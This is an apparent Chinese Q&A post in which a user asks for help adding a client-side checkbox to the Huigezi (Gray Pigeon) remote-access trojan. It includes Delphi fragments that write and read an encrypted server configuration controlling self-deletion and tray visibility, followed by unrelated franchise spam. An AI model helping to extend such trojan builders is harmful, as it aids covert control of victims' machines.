灰鸽子加入功能编写新问题

来源:百度知道 编辑:UC知道 时间:2024/06/04 12:23:52
请问,,,如果我要在灰鸽子里面加入一个功能,,,在客服端放置一个复选按钮控制服务端功能是否开启,,,怎么做,,
我遇到的问题是当我把
Each_size:array [1..27] of char;改成了Each_size:array [1..28] of char;
==========
服务端加入了
Temp:=JieMi(copy(setstr,i,ord(each_size[28])));
if Copy(Temp,1,1)='1' then showmessage('dk'); {自我删除}
if Copy(Temp,2,1)='1' then showmessage('d'); {运行时充许退出}

i:=i+ord(each_size[28]);
==========
客服端加入了
for i:=1 to 3 do Str[i]:=Char(0);
if spSkinCheckRadioBox2.Checked then j:='1'
else j:='0';
if spSkinCheckRadioBox3.Checked then k:='1'
else k:='0';

S:=JiaMi(j);

For i:=1 to length(s) do Str[i]:=S[i];
Blockwrite(F,str,length(S));
Each_size[28]:=Char(length(S));
==========
使用的时候
spSkinCheckRadioBox2变了控制托盘是否出现
spSkinCheckRadioBox3没有作用
本来服务端控制自动删除自身的
CheckBox1没有起作用
本来服务端控制服务端运行时在通知区域显示并充许退出
checkbox2变了控制自动删除自身

根据美国的商务部公布:加盟连锁的开办企业成功率高达 93% ,而独立创办的企业成历率为 35% ,为了让您的事业走向成功,请选择我们为您做全套服务 .

您的义务:加盟费共计 20000 元,大写:贰万元整。(注以下清单为贰万元加盟价清单,如价格有变动,相应赠送的产品会有改动,以双方交谈的为准)

我们的承诺:只要你敢加盟,一定赚钱

河南好兄弟数码耗材

http://www.hnhxd.com/fang1.asp